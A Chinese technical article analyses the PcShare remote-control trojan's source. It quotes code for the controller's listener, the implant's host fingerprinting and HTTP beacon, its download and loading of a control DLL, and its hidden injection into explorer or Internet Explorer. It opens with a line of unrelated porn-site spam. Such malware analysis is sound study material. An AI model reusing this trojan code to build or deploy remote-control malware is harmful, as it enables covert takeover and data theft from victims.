色哟哟视频在线观看-色哟哟视频在线-色哟哟欧美15最新在线-色哟哟免费在线观看-国产l精品国产亚洲区在线观看-国产l精品国产亚洲区久久

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

安全開發(fā)之Pcshare流程分析

蛇矛實驗室 ? 來源:蛇矛實驗室 ? 2023-01-17 09:57 ? 次閱讀

前言

pcshare 是一款功能強大的計算機遠程控制軟件,采用 HTTP 反向通信,有超強的隱藏和自我修復等功能。

代碼下載:https://github.com/xdnice/PCShare

源碼編譯

源碼下載之后,直接升級編譯即可。

打開 pcshare 解決方案文件,有 12 個工程。

518be8d2-95bf-11ed-bfe3-dac502259ad0.png

其中 PcShare 為遠程控制的控制端主工程界面,PcStat 為被控端的母體文件,PcClient 為 PcStat 釋放并加載的被控端組成之一,主要用于建立 HTTP 連接,并將本地主機信息通過 HTTP GET 請求方式發(fā)送給控制端進行上線,建立 HTTP 上線連接成功后,會請求并下載后續(xù)進行交互執(zhí)行具體命令請求的控制 dll---PcCortr,后續(xù)的交互操作就是控制端下達控制命令,由控制 dll 執(zhí)行命令,并將命令的執(zhí)行結果反饋給控制端顯示,以此來達到遠程控制目標主機的目的。

代碼分析

為了方便調試分析 pcshare 的交互過程,需要提前設置一些配置屬性,在被控端的母體程序中將控制端的 ip 地址和端口號以及下發(fā)控制 dll 的文件名稱和被控端啟動方式在 PcStat 工程中配置了(PcStat.cpp CPcStatApp::InsertDllToProcess 中進行配置 L76)。

519b24aa-95bf-11ed-bfe3-dac502259ad0.png

這些啟動配置信息根據(jù)實際情況進行設置。

pcshare 服務端邏輯

首先看一下 pcshare 網(wǎng)絡框架的服務端部分。

一般來說網(wǎng)絡程序分為服務端和客戶端程序。pcshare 的服務端程序集成在控制端中(PcShare 工程),其采用 MFC 框架編寫,所以從 CPcShareApp::InitInstance 函數(shù)查看控制端程序邏輯,在該函數(shù)內部,在進行了一些初始化操作之后,會通過 CMainFrame::StartWork 函數(shù)建立網(wǎng)絡服務。

建立網(wǎng)絡服務前的初始化操作包括:

* 創(chuàng)建名為 `PcShare2005` 的互斥體對象,保證單一實例運行;

* 初始化 windows 下 socket 環(huán)境;

* 初始化界面相關信息。

BOOL CPcShareApp::InitInstance()
{
//保證只啟動一次
m_LockHandle = CreateMutex(NULL,TRUE,"PcShare2005");
if(m_LockHandle == NULL||
GetLastError() == ERROR_ALREADY_EXISTS)
returnFALSE;
ReleaseMutex(m_LockHandle);

//初始化SOCKET環(huán)境
WSADATA data;
if(WSAStartup(MAKEWORD(2, 2), &data))
returnFALSE;
if(LOBYTE(data.wVersion) !=2|| 
HIBYTE(data.wVersion) != 2)
{
WSACleanup();
returnFALSE;
}

//初始化控件環(huán)境
AfxEnableControlContainer();
//Enable3dControls(); 
CoInitialize(NULL);

memset(&m_MainValue, 0, sizeof(m_MainValue));

//啟動主界面
CMainFrame* pFrame = newCMainFrame;
m_pMainWnd = pFrame;
pFrame->LoadFrame(IDR_MAINFRAME);
pFrame->ShowWindow(SW_SHOWMAXIMIZED);
pFrame->ResizeWnd();
pFrame->UpdateWindow();

pFrame->StartWork();
returnTRUE;
}

在 CMainFrame::StartWork 函數(shù)內部,完成了4件事

* 獲取本地 IP 地址列表,顯示到事件窗口中;

* 設置窗口標題:`PcShare2005(VIP版本)-主控界面: 【本機ip地址列表】` ;

* 通過讀取配置文件獲取開啟 TCP 服務器監(jiān)聽的端口號,并開啟監(jiān)聽(SOCKET StartTcp(WORD Port));

* 開啟一個工作線程用于等待被控端連接,線程函數(shù)為 MyGlobalFuc.cpp --- SOCKET StartTcp(WORD Port) 函數(shù)

voidCMainFrame::StartWork()
{
//連接主頁

//取INI文件名稱
charm_IniFileName[256] = { 0};
GetIniFileName(m_IniFileName);

//取IP地址列表信息
PHOSTENT hostinfo;
charname[512] = { 0};
if(gethostname(name, sizeof(name)) != 0||
(hostinfo = gethostbyname(name)) == NULL)
{
ShowMyText("取本地地址列表失敗", TRUE);
return;
}
CString m_AddrList;
structsockaddr_in dest;
for(inti = 0; hostinfo->h_addr_list[i] != NULL; i++)
{
memcpy(&(dest.sin_addr),
hostinfo->h_addr_list[i],
hostinfo->h_length);
m_AddrList += inet_ntoa(dest.sin_addr);
m_AddrList += "-";
}
charm_Text[512] = { 0};
sprintf(m_Text, "本機IP地址列表:【%s】",
m_AddrList.Left(m_AddrList.GetLength() - 1));
ShowMyText(m_Text, FALSE);
wsprintf(m_Text, "PcShare2005(VIP版本)-主控界面: %s", m_AddrList.Left(m_AddrList.GetLength() - 1));
SetWindowText(m_Text);

//打開上線偵聽端口
charm_sPortMain[100] = { 0};
GetPrivateProfileString("設置", "自動上線連接端口", "80", m_sPortMain, 99, m_IniFileName);
m_MainSocket = StartTcp(atoi(m_sPortMain));
if(m_MainSocket == NULL)
{
ShowMyText("控制端口被占用,初始化失敗,請關閉iis服務!", TRUE);
return;
}
wsprintf(m_Text, "本機偵聽端口【%s】", m_sPortMain);
ShowMyText(m_Text, FALSE);

//啟動偵聽線程
ShowMyText("初始化成功,等待客戶連接", FALSE);
UINTm_Id = 0;
_beginthreadex(NULL, 0, MyMainThread, (LPVOID)m_MainSocket, 0, &m_Id);
}

其中 SOCKET StartTcp(WORD Port) 函數(shù)主要完成了對服務端監(jiān)聽套接字的配置,在函數(shù)內部會完成開啟網(wǎng)絡服務的操作,其中包括:

* 創(chuàng)建一個`阻塞`的 socket;

* 綁定本機地址(INADDR\_ANY);

* 設置 socket 發(fā)送和接收數(shù)據(jù)的超時時間;

* 監(jiān)聽從配置文件獲取到的端口號;

如果一切執(zhí)行順利,將返回一個阻塞的 socket,并開啟網(wǎng)絡服務監(jiān)聽。

SOCKET StartTcp(WORD Port)
{
SOCKET sListenSocket;
sockaddr_in addr;
intoptval = 600* 1000;

memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;

addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(Port);

sListenSocket = socket(AF_INET, SOCK_STREAM, 0);
if(sListenSocket == INVALID_SOCKET)
returnNULL;

if(bind(sListenSocket, (sockaddr*)&addr, sizeof(addr))
== SOCKET_ERROR)
{
closesocket(sListenSocket);
returnNULL;
}

if(setsockopt(sListenSocket, SOL_SOCKET, SO_SNDTIMEO,
(char*)&optval, sizeof(optval))
== SOCKET_ERROR)
{
closesocket(sListenSocket);
returnNULL;
}

if(setsockopt(sListenSocket, SOL_SOCKET, SO_RCVTIMEO,
(char*)&optval, sizeof(optval))
== SOCKET_ERROR)
{
closesocket(sListenSocket);
returnNULL;
}

if(listen(sListenSocket, SOMAXCONN) == SOCKET_ERROR)
{
closesocket(sListenSocket);
returnNULL;
}

returnsListenSocket;
}

創(chuàng)建的工作線程最終將會執(zhí)行 MyMainThread 函數(shù)(MyThreadFunc.cpp),該函數(shù)主要完成了

* 等待被控端客戶端連接;

* 為每個被控端創(chuàng)建一個線程處理后續(xù)的交互。

一旦有被控端成功接入,將得到一個新的 socket ,這個 socket 區(qū)別與之前開啟網(wǎng)絡服務創(chuàng)建的監(jiān)聽 socket ,該處的 socket 用于與連接上的被控端進行通信。由于監(jiān)聽 socket 是阻塞的,所以,此處的 accept 函數(shù)會在沒等到被控端成功接入時會一直阻塞所屬的工作線程的執(zhí)行。所以這就是為什么又要額外的為每一個被控端創(chuàng)建一個單獨的線程進行后續(xù)交互。另外這個無限循環(huán)只有當 accept 調用失敗才會退出。

//偵聽線程
UINTWINAPI MyMainThread(LPVOID lPvoid)
{
UINTm_Id = 0;
SOCKET m_LisSocket = (SOCKET)lPvoid;
SOCKET m_AccSocket = 0;
while(1)
{
//等待客戶連接
if((m_AccSocket = accept(m_LisSocket, 0, 0)) == INVALID_SOCKET)
break;

//啟動客戶簽到線程
_beginthreadex(NULL, 0, MyChildThread, (LPVOID)m_AccSocket, 0, &m_Id);
}
closesocket(m_LisSocket);
return0;
}

此時線程情況如下。

51b81402-95bf-11ed-bfe3-dac502259ad0.png

一旦有被控端成功接入成功,程序將創(chuàng)建一個工作線程用于與接入的被控端進行交互,該線程的執(zhí)行流函數(shù)為 MyChildThread(MyThreadFunc.cpp)

在該線程函數(shù)的回調函數(shù)內部,通過 AcceptClientMain (MyGlobalFuc.cpp L64)解析被控端的登陸請求,成功解析后會獲得被控端請求的類型。

//接收連接線程
UINTWINAPI MyChildThread(LPVOID lPvoid)
{
LOG_NORMAL("Start MyChildThread successfully, ThreadID = %u.", ::GetCurrentThreadId());

//交易處理
SOCKET sClientSocket = (SOCKET)lPvoid;
CLIENTITEMclientItem = { 0};
intnCmd = AcceptClientMain(sClientSocket, &clientItem);

LOG_NORMAL("Client cmd = %d", nCmd);
if(nCmd == -1)
closesocket(sClientSocket);
elseif(nCmd == CONN_MAIN)
LoginTrans(sClientSocket, &clientItem);
else
InterTrans(sClientSocket, &clientItem, nCmd);
return0;
}

在 AcceptClientMain 函數(shù)中

首先解析被控端發(fā)送的 HTTP 請求頭

之后解析 GET 請求的數(shù)據(jù),根據(jù)雙方規(guī)定的消息格式,進行解析

intAcceptClientMain(SOCKET s,LPCLIENTITEM pData)
{
charch = 0;
intnlinelen = 0;
charslinedata[8192] = {0};
intret = 0;

//接收一行數(shù)據(jù)
while(1)
{
//接收一個字符
ret = recv(s,&ch,1,0);
if(ret == 0|| ret == SOCKET_ERROR || m_MainValue.m_IsMainExit)
return-1;

//提取數(shù)據(jù)
slinedata[nlinelen] = ch;
if(nlinelen >= 4&&
slinedata[nlinelen] == '
'&&
slinedata[nlinelen - 1] == '
'&&
slinedata[nlinelen - 2] == '
'&&
slinedata[nlinelen - 3] == '
')
break;

if(nlinelen++ > 8000)
return-1;
}

TRACE("%s
",slinedata);

char* pFlag = strchr(slinedata,'/');
if(pFlag == NULL) return-1;
if(*(pFlag + 1) == '/')
{
pFlag += 2;
pFlag = strchr(pFlag,'/');
if(pFlag == NULL) return-1;
}
pFlag ++;

//取連接類型
charm_sCommand[10] = {0};
memcpy(m_sCommand,pFlag,4);
intm_Command = atoi(m_sCommand);

//查看命令是否合法
if(m_Command > 4999|| m_Command < 3000)
????????return?-1;

????//拷貝login數(shù)據(jù)
????AscToBcd((BYTE*)(pFlag + 4), (BYTE*) &pData->m_SysInfo, sizeof(LOGININFO) * 2);
returnm_Command;
}

在測試過程中,接收到的請求頭為:

51cea122-95bf-11ed-bfe3-dac502259ad0.png

其中雙方的消息格式,用結構體表示如下,可以結合被控端的請求對應來看。

structLogin
{
intcommand; // 命令號,前四個字符
charexternData[2048]; // 后面的數(shù)據(jù)
};

被控端使用 GET 請求的 URL :

51e63f44-95bf-11ed-bfe3-dac502259ad0.png

AcceptClientMain 函數(shù)經(jīng)過一定處理后,會解析出命令號

5202a68e-95bf-11ed-bfe3-dac502259ad0.png

之后在還原登陸請求,該登陸請求為被控端主機相關信息,具體在后續(xù)被控端分析。

解析完成后,將根據(jù)解析出來的命令號,來決定走哪一個分支:

52236b94-95bf-11ed-bfe3-dac502259ad0.png

當是上線請求時,會執(zhí)行 LoginTrans 函數(shù) (MyThreadFunc.cpp),在該函數(shù)內部

首先響應客戶端的請求;

之后下發(fā)控制文件 dll,被控端將下載這個 dll 文件進行后續(xù)控制;

如果該連接已經(jīng)上線,那么啟動套接字關閉事件通知,從界面上移除該主機;

填充客戶端信息,通知 UI 界面(通過發(fā)送消息 WM_ADDCLIENT),添加一個新的客戶端信息。

voidLoginTrans(SOCKET s, LPCLIENTITEM pData)
{
//回送確認包頭信息
if(!SendKeepAlive(s))
return;

//發(fā)送機器控制文件
charm_FileName[512] = "PcCortr.dll";
GetMyFilePath(m_FileName);
if(!SendFile(s, m_FileName))
return;

//支持自動更新
if(pData->m_SysInfo.m_PcName[61] == 1)
{
strcpy(m_FileName, "PcStat.exe");
GetMyFilePath(m_FileName);
if(!SendFile(s, m_FileName))
return;

strcpy(m_FileName, "PcClient.dll");
GetMyFilePath(m_FileName);
if(!SendFile(s, m_FileName))
return;
}

//啟動套接字關閉事件通知
if(WSAAsyncSelect(s, m_MainValue.m_MainhWnd, WM_CLOSEITEM, FD_CLOSE) == SOCKET_ERROR)
{
closesocket(s);
return;
}

//填充客戶信息
sockaddr_in m_addr = { 0};
intaddrlen = sizeof(sockaddr_in);
getpeername(s, (sockaddr*)&m_addr, &addrlen);
charmTid[9] = { 0};
memcpy(mTid, pData->m_SysInfo.ID, 8);

sprintf(pData->m_Title, "%03d.%03d.%03d.%03d:%s",
m_addr.sin_addr.S_un.S_un_b.s_b1,
m_addr.sin_addr.S_un.S_un_b.s_b2,
m_addr.sin_addr.S_un.S_un_b.s_b3,
m_addr.sin_addr.S_un.S_un_b.s_b4,
mTid);
CTime tLogin = CTime::GetCurrentTime();
pData->m_LoginTime = (time_t)tLogin.GetTime();
pData->m_WorkSocket = s;

//通知主框架建立了連接
if(!SendMessage(m_MainValue.m_MainhWnd, WM_ADDCLIENT, (WPARAM)pData, 0))
{
closesocket(s);
}
}

此時,主控端界面上將顯示上線的被控端信息

523c8188-95bf-11ed-bfe3-dac502259ad0.png

其中響應被控端的請求是通過 SendKeepAlive (MyThreadFunc.cpp)函數(shù)完成的:

拼接出響應被控端請求的響應頭;

之后通過 SendData 函數(shù)響應被控端請求。

boolSendKeepAlive(SOCKET s)
{
charm_sCommand[512] = { 0};
charm_Strlen[256];
strcpy(m_sCommand, "HTTP/1.1 200 OK
");
strcat(m_sCommand, "Server: Microsoft-IIS/5.0
");
CTime t = CTime::GetCurrentTime();
sprintf(m_Strlen, "Date: %s GMT
",
t.FormatGmt("%a, %d %b %Y %H:%M:%S"));
strcat(m_sCommand, m_Strlen);
sprintf(m_Strlen, "Content-Length: %d
"
, 1024* 1024* 1024);
strcat(m_sCommand, m_Strlen);
strcat(m_sCommand, "Connection: Close
");
strcat(m_sCommand, "Cache-Control: no-cache

");
if(!SendData(s, m_sCommand, strlen(m_sCommand)))
{
closesocket(s);
returnfalse;
}
returntrue;
}

拼接出的響應頭:

526586e6-95bf-11ed-bfe3-dac502259ad0.png

響應代碼是通過 SendData (MyGlobalFuc.cpp)完成的,內部就是不斷發(fā)送指定長度的數(shù)據(jù)給對端。

BOOLSendData(SOCKET s, char*data, intlen)
{
char* p = data;
inti = 0;
intk = len;
intret = 0;

if(len <= 0) return?TRUE;
????while?(1)
????{
????????ret = send(s, p, k, 0);
????????if?(ret == 0?|| ret == SOCKET_ERROR
????????????|| g_MainValue.m_IsMainExit)
????????{
????????????TRACE("SendData OUT,%d
", WSAGetLastError());
????????????return?FALSE;
????????}
????????i += ret;
????????p += ret;
????????k -= ret;
????????if?(i >= len) break;
}
returnTRUE;
}

其中下發(fā)控制文件 dll 是通過讀取當前工作目錄下的 PcCortr.dll 文件內容,并通過 SendFile (MyThreadFunc.cpp)下發(fā)至被控端。

BOOL SendFile(SOCKET s, char* pFileName)
{
FILE* fp = fopen(pFileName, "rb");
if(fp == NULL)
{
closesocket(s);
returnFALSE;
}
fseek(fp, 0, SEEK_END);
intnLen = ftell(fp);
fseek(fp, 0, SEEK_SET);
char* pFileBuf = newchar[nLen];
fread(pFileBuf, nLen, 1, fp);
fclose(fp);
if(!SendData(s, (char*)&nLen, sizeof(int)) ||
!SendData(s, pFileBuf, nLen))
{
delete[] pFileBuf;
closesocket(s);
returnFALSE;
}
delete[] pFileBuf;
returnTRUE;
}

至此,服務端處理被控端的上線邏輯分析完畢。

當然,還有一個分支邏輯是與控制 DLL 進行后續(xù)通信的,在此沒做分析。

pchsare 客戶端邏輯

客戶端的執(zhí)行邏輯,可以分為3個階段。

* 第一階段:執(zhí)行母體程序 PcStat.exe ,用于釋放出用于建立 HTTP 連接進行上線的 PcClient.dll;

* 第二階段:PcClient.dll 被加載執(zhí)行,與控制端建立 HTTP 連接,發(fā)送上線請求,并接收第三階段的控制 DLL (PcCortr.dll),之后加載控制 dll ,進入第三階段;

* 第三階段:與控制端建立發(fā)送和接收的 HTTP 通道,進行后續(xù)的控制指令交互。

第一階段:釋放并加載上線 DLL

第一階段的邏輯可以從被控端的母體程序 PcStat 工程進行分析,同樣 PcStat 是一個 MFC 程序,直接從 CPcStatApp::InitInstance 進行查看,從代碼邏輯上看,母體文件最終會釋放上線 DLL 文件(CPcStatApp::LoadInitInfo PcStat.cpp L185),但為了方便調試,這里直接加載了第二階段執(zhí)行的 DLL 文件(PcClient.dll)。

BOOLCPcStatApp::InitInstance()
{
// __asm{int 3};

//創(chuàng)建任務事件
m_ExitEvent = CreateEvent(NULL,TRUE,FALSE,AfxGetAppName());
if(m_ExitEvent == NULL|| GetLastError() == ERROR_ALREADY_EXISTS) 
returnFALSE;

//生成連接庫文件
charm_FileName[256] = {0};
if(!LoadInitInfo(m_FileName)) returnFALSE;

//裝載連接dll
//HMODULE m_Module = LoadLibrary(m_FileName);
HMODULE m_Module = LoadLibrary("PcClient.dll");
if(m_Module == NULL) returnFALSE;

//啟動連接
InsertDllToProcess(m_Module);

//釋放資源
FreeLibrary(m_Module);
returnTRUE;
}

釋放成功后,母體程序會加載釋放的 DLL 并調用其導出函數(shù) PcClient.dll 執(zhí)行,在 CPcStatApp::InsertDllToProcess 函數(shù)內部,獲得了 PlayWork 的函數(shù)地址后,將根據(jù)生成器中配置的啟動方式,決定上線 DLL 的執(zhí)行方式。

voidCPcStatApp::InsertDllToProcess(HMODULE m_Module)
{
//取PcClient.dll中導出函數(shù)PlayWork
PLAYWORK PlayWork = (PLAYWORK)GetProcAddress(m_Module, "PlayWork");
if(PlayWork == NULL) return;

// for debugging
m_Info.m_ProcessName[0] = 2;
strcpy(m_Info.m_ServerAddr, "127.0.0.1");
m_Info.m_ServerPort = 8081;
strcpy(m_Info.m_CtrlFile, "PcCortr.dll");

if(m_Info.m_ProcessName[0] == 0)
{
//插入到explorer.exe進程
if(!CheckProcess(m_Info.m_ProcessId))
{
//關閉等待事件句柄
CloseHandle(m_ExitEvent);
return;
}
}
elseif(m_Info.m_ProcessName[0] == 1)
{
//插入到自啟動ie
PROCESS_INFORMATION piProcInfo;
STARTUPINFO siStartInfo;

// Set up members of STARTUPINFO structure. 
ZeroMemory(&siStartInfo, sizeof(STARTUPINFO));
GetStartupInfo(&siStartInfo);
siStartInfo.cb = sizeof(STARTUPINFO);
siStartInfo.wShowWindow = SW_HIDE;
siStartInfo.dwFlags = STARTF_USESHOWWINDOW;

charm_IePath[256] = "C:\Program Files\Internet Explorer\IEXPLORE.EXE";
charm_SysPath[256] = { 0};
GetSystemDirectory(m_SysPath, 200);
m_IePath[0] = m_SysPath[0];
if(!CreateProcess(m_IePath, NULL, NULL, NULL, TRUE,
DETACHED_PROCESS, NULL, NULL, &siStartInfo, &piProcInfo))
{
CloseHandle(m_ExitEvent);
return;
}

//等待進程初始化
m_Info.m_ProcessId = (UINT)piProcInfo.dwProcessId;
WaitForInputIdle(piProcInfo.hProcess, 3000);
}
else
{
LOG_NORMAL("Application runs in standard-alone mode.");
//本進程啟動
PlayWork(&m_Info);
WaitForSingleObject(m_ExitEvent, INFINITE);
CloseHandle(m_ExitEvent);
return;
}

//插入指定進程
if(PlayWork(&m_Info))
{
EnumWindows(EnumWindowsProc, m_Info.m_ProcessId);
WaitForSingleObject(m_ExitEvent, INFINITE);
}

//關閉等待事件句柄
CloseHandle(m_ExitEvent);
}

第二階段:請求上線,下載控制 DLL

跟隨程序的邏輯,最終可定位到 PcClient 工程的 BOOL PlayWork(LPINITDLLINFO pInitInfo) 函數(shù)。

在 PlayWork 函數(shù)內部,通過獲取母體程序中嵌入的啟動配置信息后,最終會調用 void SshWork::StartWork(LPINITDLLINFO pItem) 函數(shù)進入主邏輯流程。

BOOLPlayWork(LPINITDLLINFO pInitInfo)
{
//拷貝數(shù)據(jù)
memcpy(&g_InitInfo, pInitInfo, sizeof(INITDLLINFO));

//自進程啟動
if(pInitInfo->m_ProcessName[0] == 2)
{
g_SshWork.StartWork(&g_InitInfo);
returnTRUE;
}

//檢查是否已經(jīng)啟動
if(g_hook != NULL) returnFALSE;

//啟動HOOK
g_hook = SetWindowsHookEx(WH_DEBUG, GetMsgProc, ghInstance, 0);
return(g_hook != NULL);
}

在 StartWork 函數(shù)內部的尾部會開啟一個工作線程與控制端進行連接通信,其線程的執(zhí)行流為 UINT WINAPI SshWork::SSH_WorkThread(LPVOID lPvoid) 函數(shù)。

voidSshWork::StartWork(LPINITDLLINFO pItem)
{
//拷貝數(shù)據(jù)
memcpy(&m_InitInfo, pItem, sizeof(INITDLLINFO));
m_ExitEvent = CreateEvent(NULL, TRUE, FALSE, NULL);

// ...

//啟動相應工作線程序
UINTuThreadID = 0;
m_Thread = (HANDLE)_beginthreadex(NULL, 0, SSH_WorkThread, (LPVOID) this, 0, &uThreadID);
}

在 SSH_WorkThread 函數(shù)內部,會通過 GetHttpConnect 函數(shù)與主控端建立 HTTP 連接,并下載后續(xù)的持久化模塊(PcCortr.dll),并加載到內存中,如果一切順利,就獲取 PcCortr.dll 模塊的導出函數(shù) ProcessTrans 并執(zhí)行。在這個 while 循環(huán)中,每次循環(huán)將等待 3s ,用來判斷是否有退出事件發(fā)生。一旦發(fā)生就會退出線程循環(huán),并銷毀資源,退出程序。

UINT WINAPI SshWork::SSH_WorkThread(LPVOID lPvoid)
{
//取工作指針
SshWork* pWork = (SshWork*) lPvoid;

//開始進入工作循環(huán)
while(1)
{
//建立連接
if(pWork->GetHttpConnect(&pWork->m_InitInfo))
{
//連接成功,開始處理交易
PROCESSTRANS ProcessTrans = (PROCESSTRANS) 
GetProcAddress(pWork->hCtrlMd,"ProcessTrans");
if(ProcessTrans != NULL)
ProcessTrans(pWork->hFp , pWork->m_ExitEvent ,
pWork->m_InitInfo.m_ServerAddr ,
pWork->m_InitInfo.m_ServerPort ,
pWork->m_InitInfo.m_KeyName ,
pWork->m_InitInfo.m_ParentFile);
}

//休息等待指定時間
if(WaitForSingleObject(pWork->m_ExitEvent,
30000) != WAIT_TIMEOUT)
break;
}

//銷毀資源
pWork->StopWork();
ExitProcess(0);
return0;
}

該程序模塊是通過 GetHttpConnect 函數(shù)進行 HTTP 連接的,其中建立連接使用的 API 函數(shù)為 Windows 封裝好的 WinHttp 相關的 API,其一般的建立連接步驟是

1. 調用 `InternetOpen` 函數(shù)初始化 Internet API 的環(huán)境,并獲得一個指向 Internet API 環(huán)境的句柄;

2. 調用 `InternetConnect` 函數(shù)建立連接到指定服務器;

3. 調用 `InternetOpenUrl` 建立 HTTP 連接和發(fā)送 HTTP 請求;

4. 調用 `InternetReadFile` 函數(shù)接收服務器返回的數(shù)據(jù)。

5. 在完成交互之后,調用 `InternetCloseHandle` 函數(shù)關閉句柄。

在 GetHttpConnect 函數(shù)內部,就是對上述 API 進行二次封裝,并添加了一些請求設置和響應判斷,比如:

* 調用 `InternetSetOption` 函數(shù)設置接收超時時間為24小時。

* 調用 `HttpQueryInfo` 函數(shù)查看請求的返回碼,如果是 200 表示服務器成功處理請求。

之后就調用 DownloadFile 函數(shù)從服務器下載后續(xù)的持久化控制 dll,在此之前會判斷該 dll 是否已經(jīng)被加載,如果已經(jīng)被加載,那么會將原來的卸載在重新從服務器拉取,并加載到內存中,后續(xù)根據(jù)控制 dll 的啟動方式選擇是否更新。

BOOLSshWork::GetHttpConnect(LPINITDLLINFO pInfo)
{
//關閉句柄
if(hIe != NULL)
{
CloseHttpHandle();
Sleep(2000);
}

//設置最大連接數(shù)量為100
DWORD nValue = 100;
if( !InternetSetOption(NULL,73,&nValue,sizeof(DWORD)) ||
!InternetSetOption(NULL,74,&nValue,sizeof(DWORD)))
returnFALSE;

//查看是否有ddns
if(strlen(pInfo->m_DdnsUrl) != 0)
{
//需要分析DDNS
if(!GetDesServerInfo(pInfo, pInfo->m_DdnsUrl))
{
if(!GetDesServerInfo(pInfo, pInfo->m_BakUrl)) 
{
//檢查兩層DDNS
returnFALSE;
}
}
}

//初始化HTTP環(huán)境
hIe = InternetOpen("Mozilla/4.0 (compatible; MSIE 6.0; "
"Windows NT 5.0; .NET CLR 1.1.4322)",
INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if(!hIe) returnFALSE;

//填充上送當前客戶信息
charm_Url[4096] = {0};
charm_ExternData[2048] = {0};
GetMySysInfo(m_ExternData);
sprintf(m_Url,"http://%s:%d/%d%s",
pInfo->m_ServerAddr,pInfo->m_ServerPort,
CONN_MAIN,m_ExternData);

//建立HTTP連接,上送數(shù)據(jù)
hFp = InternetOpenUrl(hIe , 
m_Url , NULL, 0,
INTERNET_FLAG_PRAGMA_NOCACHE|
INTERNET_FLAG_RELOAD|
INTERNET_FLAG_NO_CACHE_WRITE , 0);
if(!hFp)
{
CloseHttpHandle();
returnFALSE; 
}

DWORD m_TimeOut = 24* 3600* 1000;
if(!InternetSetOption(hFp,
INTERNET_OPTION_RECEIVE_TIMEOUT,&m_TimeOut,sizeof(DWORD)))
{
CloseHttpHandle();
returnFALSE;
}

//查看返回碼
charsCode[256] = {0};
DWORD nSize = 250;
DWORD nIndex = 0;
if(!HttpQueryInfo(hFp , HTTP_QUERY_STATUS_CODE , 
sCode , &nSize , &nIndex) || atoi(sCode) != 200)
{
CloseHttpHandle();
returnFALSE;
}

//查看控制dll是否已經(jīng)裝載
if(hCtrlMd) FreeLibrary(hCtrlMd);

//接收控制文件
if(!DlFile(m_InitInfo.m_CtrlFile))
{
CloseHttpHandle();
returnFALSE; 
}

//裝載控制dll文件
hCtrlMd = LoadLibrary(m_InitInfo.m_CtrlFile);
if(hCtrlMd == NULL)
{
CloseHttpHandle();
returnFALSE; 
}

//當不是本進程啟動的時候,更新本進程
if(m_InitInfo.m_ProcessName[0] != 2)
{
if(!UpdateExeFile())
{
CloseHttpHandle();
returnFALSE; 
}
}

returnTRUE;
}

其中在使用 InternetOpenUrl 函數(shù)建立 HTTP 請求的 URL 是根據(jù)當前主機的信息與服務器的 ip 和 port 拼接而成的。

ip 和 port 是通過生成器提前寫入母體文件傳遞過來的,當前主機的信息則是通過自寫 GetMySysInfo 函數(shù)獲取得到的。

在函數(shù)內部,程序會獲取當前主機的操作系統(tǒng)類型、CPU信息(速度和個數(shù))、內存容量、計算機名稱、當前用戶名稱、獲取 C 盤的序列號并進行一定的加密(計算機名稱前8個字符和轉換后的 C 盤序列號)作為被控端的唯一標識(16個字符);在收集完成后,最終將轉為一串由 0 和 1 組成的字符串。

voidSshWork::GetMySysInfo(char* pTransData)
{
LOGININFO m_SysInfo = { 0};

//取操作系統(tǒng)
m_SysInfo.m_SysType = IsShellSysType();

//取CPU信息
SYSTEM_INFO m_pSysInfo = { 0};
GetSystemInfo(&m_pSysInfo);
m_SysInfo.m_CpuSpeed = getCpuSpeedFromRegistry();
m_SysInfo.m_CpuCount = (UINT)m_pSysInfo.dwNumberOfProcessors;

//取內存容量
MEMORYSTATUS Buffer = { 0};
GlobalMemoryStatus(&Buffer);
m_SysInfo.m_MemContent = Buffer.dwTotalPhys / 1024; 

//計算機名稱
DWORD m_Len = 63;
GetComputerName(m_SysInfo.m_PcName, &m_Len);
m_SysInfo.m_PcName[60] = 0x00;
m_SysInfo.m_PcName[61] = 0x01;

//取用戶名
DWORD len = 36;
GetUserName(m_SysInfo.m_UserName, &len);
m_SysInfo.m_UserName[37] = m_IsVideo;

//生成內部標識
DWORD SeriaNumber = 0;
GetVolumeInformation("C:", NULL, NULL,
&SeriaNumber, NULL, NULL, NULL, NULL);
charm_DesKey[10] = { 0};
sprintf(m_DesKey, "%08x", SeriaNumber);
charm_SmallBuf[100] = { 0};
memset(m_SmallBuf, 0, sizeof(m_SmallBuf));
for(inti = 0; i < 8; i++)
????{
????????m_SmallBuf[i] = m_SysInfo.
????????????m_PcName[i] ^ m_DesKey[i];
????}
????BcdToAsc((BYTE*)m_SmallBuf, (BYTE*)
????????m_SysInfo.ID, 8);

????BcdToAsc((BYTE*)&m_SysInfo,
????????(BYTE*)pTransData, sizeof(LOGININFO));
}

最終將拼接為類似如下的 URL

5277e106-95bf-11ed-bfe3-dac502259ad0.png

服務器成功響應的返回碼為200

528b6244-95bf-11ed-bfe3-dac502259ad0.png

之后開始下載控制后續(xù)的控制 dll,通過對生成器分析,控制 dll 的名稱為 PcCortr.dll

首先接收文件的長度

接收控制 dll 文件內容

保存到當前工作路徑中,名稱為 PcCortr.dll

BOOL SshWork::DownloadFile(char* pFileName)
{
//接收文件長度
intnFileLen = 0;
if(!RecvData(hFp, (char*)&nFileLen, sizeof(int)))
{
//接收文件長度失敗
returnFALSE;
}

//接收新的文件數(shù)據(jù)
char* pData = newchar[nFileLen];
if(!RecvData(hFp, pData, nFileLen))
{
//更新數(shù)據(jù)失敗
delete[] pData;
returnFALSE;
}

//下裝控制文件
FILE *fp = fopen(pFileName, "wb");
if(fp != NULL)
{
fwrite(pData, nFileLen, 1, fp);
fclose(fp);
}
delete[] pData;
returnTRUE;
}

從服務器接收數(shù)據(jù)是通過 BOOL SshWork::RecvData(HINTERNET hFile, LPVOID pData, int DataLen) 函數(shù)完成的,它是對 InternetReadFile API 函數(shù)的封裝,通過循環(huán)+數(shù)據(jù)偏移的形式不斷從服務器中接收數(shù)據(jù),直到全部接收完畢。

測試環(huán)境下接收到的文件。

52b04c3a-95bf-11ed-bfe3-dac502259ad0.png

下載完成后,會嘗試將其加載到內存中。

52bfd75e-95bf-11ed-bfe3-dac502259ad0.png

至此,第二階段的工作與控制端建立連接的工作完成,此階段主要是下載用于后續(xù)交互控制的 dll 文件,并將其保存到本地并執(zhí)行。

